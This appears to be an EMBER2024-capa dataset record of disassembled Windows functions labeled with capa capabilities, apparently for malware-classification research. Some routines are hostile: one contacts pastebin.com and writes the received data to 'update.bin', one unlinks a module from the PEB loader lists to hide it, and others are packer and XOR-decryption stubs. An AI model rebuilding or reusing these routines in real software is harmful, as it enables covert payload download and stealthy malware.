joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100015ad
Capabilities:
Encrypt data via sspi
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [0x10006378]
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x48]
push ecx
push 4
push eax
mov dword [ebp - 0x50], eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x100016f6
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
push ebx
mov ebx, dword [ebp - 0x48]
add eax, ebx
push edi
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x100016ef
test esi, esi
je 0x1000163f
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000160a
sub ecx, edx
cmp ecx, 1
jbe 0x1000163f
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000161d
sub ecx, edx
cmp byte [ecx + esi - 1], 0x2f
jne 0x1000163f
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001632
sub ecx, edx
mov byte [ecx + esi - 1], al
push dword [0x1000637c]
add ebx, edi
push esi
push str.GET__s_HTTP_1.0_r_nHost:__s_r_nUser_Agent:_Mozilla_5.0_r_nAccept:__r_n_r_n
push ebx
call dword [sym.imp.MSVCR120.dll_sprintf]
mov ecx, ebx
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000165c
mov eax, dword [ebp - 0x48]
sub ecx, edx
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x20], ebx
lea eax, [ecx + ebx]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x34]
push ebx
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push esi
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x18], 6
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], 4
call dword [sym.imp.Secur32.dll_EncryptMessage]
test eax, eax
js 0x100016f4
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x34]
push ebx
push eax
push edi
push dword [ebp - 0x4c]
call dword [0x100063e0]
cmp eax, 0xffffffff
je 0x100016e8
test eax, eax
je 0x100016e8
push edi
call dword [sym.imp.MSVCR120.dll_free]
pop ecx
xor eax, eax
jmp 0x100016f4
push esi
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
mov eax, 0x80090304
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100028b7
mov esp, ebp
pop ebp
ret
Function at 0x10001ce0
Capabilities:
Get client handle via schannel
Get inbound credentials handle via credssp
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
lea eax, [ebp - 0xc]
push ebx
push esi
push edi
push eax
push 0x59
push edx
mov esi, ecx
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x10001da5
push 8
pop ecx
lea edi, [ebp - 0x40]
xor ebx, ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 8]
mov edi, ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x40], 0x20
mov dword [ebp - 0x3c], str.1.3.6.1.5.5.7.3.2
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], eax
push edi
lea eax, [ebp - 0x40]
push eax
push 1
push ebx
push 1
push dword [0x1000634c]
call dword [sym.imp.CRYPT32.dll_CertFindChainInStore]
mov edi, eax
test edi, edi
je 0x10001da5
mov ecx, dword [edi + 0x10]
lea eax, [ebp - 4]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [0x10006388], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ecx
push eax
push ebx
push ebx
push 0x10006380
push ebx
push 2
push str.Microsoft_Unified_Security_Protocol_Provider
push ebx
mov dword [0x10006380], 4
mov dword [0x10006384], 1
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleA]
test eax, eax
jne 0x10001d29
push esi
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
mov eax, dword [ebp - 0x14]
mov dword [esi], eax
mov eax, dword [ebp - 0x10]
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001db7
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
mov ecx, dword [0x10006354]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov edx, dword [eax]
jmp 0x10001ddc
test edx, edx
je 0x10001e3a
cmp dword [edx + 0x18], ecx
je 0x10001de2
mov edx, dword [edx]
cmp edx, eax
jne 0x10001dd1
jmp 0x10001e3a
mov dword [0x10006358], ecx
mov ecx, dword [edx + 4]
mov dword [0x10006368], edx
mov eax, dword [ecx]
mov dword [0x1000635c], eax
mov eax, dword [edx + 0x14]
mov eax, dword [eax]
mov dword [0x10006364], eax
mov eax, dword [edx + 0xc]
mov eax, dword [eax]
mov dword [0x10006360], eax
mov eax, dword [edx]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 4]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [edx + 0x10]
mov eax, dword [edx + 0x14]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0x14]
mov eax, dword [edx + 0x10]
mov dword [ecx], eax
mov ecx, dword [edx + 8]
mov eax, dword [edx + 0xc]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0xc]
mov eax, dword [edx + 8]
mov dword [ecx], eax
mov esp, ebp
pop ebp
ret
Function at 0x10001e97
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
call dword [sym.imp.MSVCR120.dll___iob_func]
mov esi, dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
push 0xf
lea edi, [eax + 0x20]
call esi
mov dword [0x1000636c], eax
mov dword [esp], 0x1a4
mov dword [eax + 7], edi
call esi
mov esi, dword [0x1000636c]
mov edi, eax
movzx edx, word [0x10006014]
xor ebx, ebx
inc ebx
mov eax, 0xffff
cmp word [0x10006014], ax
pop ecx
push edi
cmove edx, ebx
mov dword [esi + 0xb], edi
push 0x202
mov dword [esi], ebx
mov word [esi + 4], dx
mov byte [esi + 6], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 2
pop eax
lea ecx, [edi + 0x198]
mov word [edi + 0x194], ax
call fcn.1000246b
push 0x1c6d
call dword [sym.imp.WS2_32.dll_htons]
mov word [edi + 0x196], ax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
pop edi
pop esi
pop ebx
test eax, eax
jne 0x10001f40
or ecx, 0xffffffff
call fcn.100023cf
push eax
call fcn.10001f4f
pop ecx
push 0x10004710
call fcn.10001f4f
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x100022ca
Capabilities:
Create thread

Disassembly:
mov eax, 0x451
mov word [0x10006014], ax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.ws2_32
mov dword [0x10006374], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
push 0x10002305
mov dword [0x10006370], eax
call dword [sym.imp.MSVCR120.dll__beginthread]
xor eax, eax
add esp, 0xc
inc eax
ret

Function at 0x1000246b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 6
push 1
push 2
pop ebx
push ebx
mov edi, ecx
call dword [sym.imp.WS2_32.dll_socket]
push 4
mov esi, eax
mov dword [ebp - 0x18], 0x5dc
lea eax, [ebp - 0x18]
push eax
push 0x1006
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push str.pastebin.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x1bb
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
mov word [ebp - 0x14], bx
call dword [sym.imp.WS2_32.dll_connect]
push ecx
push ecx
push dword [sym.imp.WS2_32.dll_recv]
push dword [sym.imp.WS2_32.dll_send]
push esi
call section..text
add esp, 0x14
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push str._r_n_r_n
push dword [0x100063dc]
call dword [sym.imp.MSVCR120.dll_strstr]
push 0xa
lea ecx, [ebp - 0x1c]
add eax, 4
push ecx
push eax
call dword [sym.imp.MSVCR120.dll_strtoul]
mov ecx, dword [ebp - 4]
add esp, 0x14
mov dword [edi], eax
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.100028b7
mov esp, ebp
pop ebp
ret
Function at 0x10002538
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 6
push 1
mov si, dx
mov ebx, ecx
push 2
mov word [ebp - 2], si
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 0x190], eax
cmp eax, 0xffffffff
je 0x1000268d
push 0x10
lea ecx, [ebx + 0x194]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov al, byte [ebp + 8]
lea ecx, [ebp - 0xc]
and dword [ebp - 0xc], 0
mov byte [ebp - 5], al
lea eax, [ebp - 8]
push 4
push eax
mov byte [ebp - 8], 0
mov word [ebp - 7], si
call fcn.1000287e
xor ecx, ecx
call fcn.10002380
lea esi, [eax + 0xc]
push esi
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
pop ecx
mov edi, eax
mov ecx, edi
call fcn.10002380
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
push 0
mov dword [eax + edi], ecx
add eax, 4
mov ecx, dword [ebp - 8]
add eax, edi
mov dword [ebp - 0x14], eax
mov dword [eax], ecx
lea ecx, [esi - 4]
push ecx
push edi
push dword [ebx + 0x190]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x10002668
push 0
push esi
push edi
push dword [ebx + 0x190]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, esi
jne 0x10002664
mov ecx, edi
call fcn.100023a0
test al, al
je 0x10002660
sub esi, dword [ebp - 0x10]
lea ecx, [ebp - 0xc]
and dword [ebp - 0xc], 0
sub esi, 4
push esi
mov esi, dword [ebp - 0x14]
push esi
call fcn.1000287e
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + edi]
cmp eax, dword [ebp - 0xc]
jne 0x1000265c
mov eax, dword [esi]
mov dword [ebp - 8], eax
cmp byte [ebp - 8], 0x7f
jne 0x10002658
mov ecx, eax
shr ecx, 8
cmp cx, word [ebp - 2]
jne 0x10002654
shr eax, 0x18
cmp al, byte [ebp + 8]
jne 0x10002650
mov esi, dword [edx + edi + 8]
push edi
call dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
pop ecx
mov eax, esi
jmp 0x1000269f
push 8
jmp 0x1000266a
push 7
jmp 0x1000266a
push 6
jmp 0x1000266a
push 5
jmp 0x1000266a
push 4
jmp 0x1000266a
push 3
jmp 0x1000266a
push 2
pop ecx
call fcn.100023cf
push eax
call fcn.10001f4f
pop ecx
push edi
call dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
pop ecx
push dword [ebx + 0x190]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x1000269c
xor ecx, ecx
inc ecx
call fcn.100023cf
push eax
call fcn.10001f4f
pop ecx
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100026a6
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push 6
push 1
mov si, dx
mov ebx, ecx
push 2
mov word [ebp - 2], si
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 0x190], eax
cmp eax, 0xffffffff
je 0x10002869
push edi
push 0x10
lea ecx, [ebx + 0x194]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov al, byte [ebp + 8]
lea ecx, [ebp - 0xc]
and dword [ebp - 0xc], 0
mov byte [ebp - 5], al
lea eax, [ebp - 8]
push 4
push eax
mov byte [ebp - 8], 1
mov word [ebp - 7], si
call fcn.1000287e
xor ecx, ecx
call fcn.10002380
lea edi, [eax + 8]
push edi
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
pop ecx
mov esi, eax
mov ecx, esi
call fcn.10002380
mov ecx, dword [ebp - 0xc]
push 0
push edi
mov dword [eax + esi], ecx
mov ecx, dword [ebp - 8]
push esi
mov dword [eax + esi + 4], ecx
push dword [ebx + 0x190]
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x10002843
push 0
push edi
push esi
push dword [ebx + 0x190]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, edi
jne 0x1000283f
mov ecx, esi
call fcn.100023a0
test al, al
je 0x1000283b
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0xc]
and dword [ebp - 0xc], 0
sub edi, eax
sub edi, 4
push edi
lea edi, [eax + 4]
add edi, esi
push edi
call fcn.1000287e
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + esi]
cmp eax, dword [ebp - 0xc]
jne 0x10002837
mov eax, dword [edi]
mov dword [ebp - 8], eax
mov cl, byte [ebp - 8]
cmp cl, 0x7e
jne 0x1000282a
mov ecx, eax
shr ecx, 8
cmp cx, word [ebp - 2]
jne 0x10002826
shr eax, 0x18
cmp al, byte [ebp + 8]
jne 0x10002822
push 0xfffffffffffffffe
pop ecx
call fcn.100023cf
push eax
call fcn.10001f4f
push esi
call dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
push 0x401
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
push 0x1000496c
push str.update.bin
mov esi, eax
call dword [sym.imp.MSVCR120.dll_fopen]
add esp, 0x14
mov edi, eax
jmp 0x10002801
push eax
push 1
push esi
call dword [sym.imp.MSVCR120.dll_fwrite]
add esp, 0x10
push 0
push 0x400
push esi
push dword [ebx + 0x190]
call dword [sym.imp.WS2_32.dll_recv]
push edi
test eax, eax
jg 0x100027f4
call dword [sym.imp.MSVCR120.dll_fclose]
jmp 0x10002851
push 8
jmp 0x10002845
push 7
jmp 0x10002845
cmp cl, 0xff
jne 0x10002833
push 9
jmp 0x10002845
push 6
jmp 0x10002845
push 5
jmp 0x10002845
push 4
jmp 0x10002845
push 3
jmp 0x10002845
push 2
pop ecx
call fcn.100023cf
push eax
call fcn.10001f4f
pop ecx
push esi
call dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
pop ecx
push dword [ebx + 0x190]
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
jmp 0x10002878
xor ecx, ecx
inc ecx
call fcn.100023cf
push eax
call fcn.10001f4f
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000287e
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
mov edx, dword [ecx]
je 0x100028b1
push esi
push edi
mov edi, dword [ebp + 8]
not edx
xor esi, esi
movzx eax, byte [esi + edi]
xor eax, edx
shr edx, 8
and eax, 0xff
xor edx, dword [eax*4 + 0x10004310]
inc esi
cmp esi, dword [ebp + 0xc]
jne 0x10002892
pop edi
not edx
pop esi
mov dword [ecx], edx
pop ebp
ret 8
Function at 0x403ad0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, 0xffffffff
test ecx, ecx
mov esi, dword [ebp + 8]
je 0x403af9
xor al, byte [esi]
movzx edx, al
shr eax, 8
mov edx, dword [edx*4 + section..data]
inc esi
xor eax, edx
dec ecx
jne 0x403ae4
xor eax, 0xffffffff
pop esi
leave
ret 0xc

Function at 0x8d6be0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section._8122368
lea edi, [esi - 0x3be000]
push edi
jmp 0x8d6bfa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x8d6c01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8d6bf0
mov eax, 1
add ebx, ebx
jne 0x8d6c13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x8d6c24
jne 0x8d6c43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8d6c43
dec eax
add ebx, ebx
jne 0x8d6c30
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x8d6c08
add ebx, ebx
jne 0x8d6c3f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x8d6c95
xor ecx, ecx
sub eax, 3
jb 0x8d6c5b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x8d6cca
sar eax, 1
mov ebp, eax
jmp 0x8d6c66
add ebx, ebx
jne 0x8d6c66
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8d6c34
inc ecx
add ebx, ebx
jne 0x8d6c74
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8d6c34
add ebx, ebx
jne 0x8d6c81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x8d6c76
jne 0x8d6c92
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x8d6c76
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x8d6cb4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x8d6ca6
jmp 0x8d6bf6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x8d6cb4
add edi, ecx
jmp 0x8d6bf6
pop esi
mov edi, esi
mov ecx, 0x767
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x8d6cd2
cmp byte [edi], 5
jne 0x8d6cd2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x8d6cd7
lea edi, [esi + 0x4d4000]
mov eax, dword [edi]
or eax, eax
je 0x8d6d4f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4ea948]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4ea998]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x8d6d04
mov ecx, edi
jns 0x8d6d33
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4ea9a0]
or eax, eax
je 0x8d6d49
mov dword [ebx], eax
add ebx, 4
jmp 0x8d6d21
call dword [esi + 0x4ea99c]
mov ebp, dword [esi + 0x4ea9a4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x8d6d83
sub esp, 0xffffff80
jmp 0x40cd2f
Function at 0x405d9a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42c574], 0
push esi
jne 0x405dd1
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405dab
mov dword [ecx*4 + 0x42c570], eax
inc ecx
cmp ecx, 0x100
jl 0x405da6
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405e02
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42c570]
xor eax, esi
inc ecx
dec edx
jne 0x405de4
pop edi
not eax
pop esi
ret 0xc

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
mov ecx, 0x529054ce
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
nop
mov ecx, 0x675409c9
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x428db0
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
push eax
push ecx
push 0xca62c1d6
push 0x8f1bbcdc
push 0x6ed9eba1
push 0x5a827999
push edx
call fcn.00429160
ret 0x18

Function at 0x429040
Capabilities:
Hash data using sha1

Disassembly:
mov ecx, dword [esp + 4]
mov eax, ecx
and eax, 0xfffffff
imul eax, eax, 8
jo 0x429060
test ecx, 0x10000000
je 0x42905d
or eax, 0x80000000
ret 4
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x429070
Capabilities:
Hash data using sha1

Disassembly:
mov ecx, dword [esp + 4]
mov eax, ecx
and eax, 0x3fffffff
imul eax, eax, 2
jo 0x42909a
test ecx, 0x40000000
je 0x42908d
or eax, 0x80000000
test ecx, 0x80000000
je 0x429097
or al, 1
ret 4
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]

Function at 0x4290a0
Capabilities:
Hash data using sha1

Disassembly:
push esi
mov esi, dword [esp + 8]
mov ecx, esi
mov eax, esi
and ecx, 0x3ffffff
imul ecx, ecx, 0x20
jo 0x4290de
and eax, 0xf8000000
cdq
and edx, 0x7ffffff
add eax, edx
sar eax, 0x1b
and eax, 0x1f
or ecx, eax
test esi, 0x4000000
pop esi
je 0x4290d9
or ecx, 0x80000000
mov eax, ecx
ret 4
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x4290f0
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edx, eax
xor edx, ecx
jge 0x429105
add eax, ecx
jo 0x429116
ret 8
xor eax, 0x80000000
add eax, ecx
jo 0x429116
xor eax, 0x80000000
ret 8
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
nop
nop
nop
nop

Function at 0x429120
Capabilities:
Hash data using sha1

Disassembly:
push ebx
mov ebx, dword [esp + 8]
mov ecx, ebx
mov eax, ebx
and ecx, 1
imul ecx, ecx, 0x40000000
jo 0x429157
and al, 0xfc
cdq
and edx, 3
add eax, edx
sar eax, 2
and eax, 0x3fffffff
or ecx, eax
test bl, 2
pop ebx
je 0x429152
or ecx, 0x80000000
mov eax, ecx
ret 4
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
nop
nop
nop
Function at 0x1002b4f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0x38], 0
je 0x1002b51c
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
jmp 0x1002b603
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
mov ecx, dword [ebp - 4]
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
cmp dword [ebp + 0x10], 0
jl 0x1002b5b4
jg 0x1002b545
cmp dword [ebp + 0xc], 0
jbe 0x1002b5b4
cmp dword [ebp - 8], 0
jl 0x1002b5b4
jg 0x1002b553
cmp dword [ebp - 0xc], 0
jbe 0x1002b5b4
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp - 8]
jg 0x1002b571
jl 0x1002b565
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [ebp - 0xc]
jae 0x1002b571
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 4]
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
push eax
call fcn.10017720
add esp, 0xc
mov eax, dword [ebp - 0xc]
add eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
sub ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 0x10]
sbb edx, dword [ebp - 8]
mov dword [ebp + 0xc], ecx
mov dword [ebp + 0x10], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int_]
nop
cmp dword [ebp + 0x10], 0
jl 0x1002b5f7
jg 0x1002b5c2
cmp dword [ebp + 0xc], 0
jbe 0x1002b5f7
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x4c], 0
je 0x1002b5f7
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x4c]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
xor ecx, ecx
mov edx, dword [ebp + 0xc]
sub edx, eax
mov eax, dword [ebp + 0x10]
sbb eax, ecx
mov dword [ebp + 0xc], edx
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
sbb edx, dword [ebp + 0x10]
mov esp, ebp
pop ebp
ret 0xc